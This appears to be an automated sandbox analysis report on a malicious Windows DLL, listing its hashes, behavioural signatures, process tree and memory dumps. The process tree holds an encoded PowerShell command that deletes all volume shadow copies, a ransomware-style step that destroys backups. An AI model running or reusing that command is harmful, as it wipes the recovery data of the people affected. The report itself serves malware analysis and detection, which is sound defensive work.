Analysis
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max time kernel
117s -
max time network
117s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 00:49
Static task
static1
Behavioral task
behavioral1
Sample
e51298761b141f01c83299250409b3002ea8ea70cd914f959edcd5829fac9ed6.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
e51298761b141f01c83299250409b3002ea8ea70cd914f959edcd5829fac9ed6.dll
Resource
win10-en-20211208
General
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Target
e51298761b141f01c83299250409b3002ea8ea70cd914f959edcd5829fac9ed6.dll
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Size
115KB
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MD5
b1ab213d39522915097480cb41fde381
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SHA1
42ad57e1377142f10372a36d996ce9f47cafeb43
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SHA256
e51298761b141f01c83299250409b3002ea8ea70cd914f959edcd5829fac9ed6
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SHA512
f29d7578f0c859ac67f766d51b6824e8afd92a61aac32d630481adabc521350085924919c713ab992aaeac81b77a15314578d29858bba9bf7770273e09791895
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\G: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 864 rundll32.exe 584 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 864 rundll32.exe Token: SeDebugPrivilege 584 powershell.exe Token: SeBackupPrivilege 1144 vssvc.exe Token: SeRestorePrivilege 1144 vssvc.exe Token: SeAuditPrivilege 1144 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 1916 wrote to memory of 864 1916 rundll32.exe rundll32.exe PID 1916 wrote to memory of 864 1916 rundll32.exe rundll32.exe PID 1916 wrote to memory of 864 1916 rundll32.exe rundll32.exe PID 1916 wrote to memory of 864 1916 rundll32.exe rundll32.exe PID 1916 wrote to memory of 864 1916 rundll32.exe rundll32.exe PID 1916 wrote to memory of 864 1916 rundll32.exe rundll32.exe PID 1916 wrote to memory of 864 1916 rundll32.exe rundll32.exe PID 864 wrote to memory of 584 864 rundll32.exe powershell.exe PID 864 wrote to memory of 584 864 rundll32.exe powershell.exe PID 864 wrote to memory of 584 864 rundll32.exe powershell.exe PID 864 wrote to memory of 584 864 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\e51298761b141f01c83299250409b3002ea8ea70cd914f959edcd5829fac9ed6.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:1916 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\e51298761b141f01c83299250409b3002ea8ea70cd914f959edcd5829fac9ed6.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:864 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:584
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1564
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1144
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/584-55-0x000007FEFBE61000-0x000007FEFBE63000-memory.dmpFilesize
8KB
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memory/584-57-0x00000000028F0000-0x00000000028F2000-memory.dmpFilesize
8KB
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memory/584-58-0x00000000028F2000-0x00000000028F4000-memory.dmpFilesize
8KB
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memory/584-59-0x00000000028F4000-0x00000000028F7000-memory.dmpFilesize
12KB
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memory/584-56-0x000007FEF2CD0000-0x000007FEF382D000-memory.dmpFilesize
11.4MB
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memory/584-60-0x000000001B700000-0x000000001B9FF000-memory.dmpFilesize
3.0MB
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memory/584-61-0x00000000028FB000-0x000000000291A000-memory.dmpFilesize
124KB
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memory/864-54-0x0000000075761000-0x0000000075763000-memory.dmpFilesize
8KB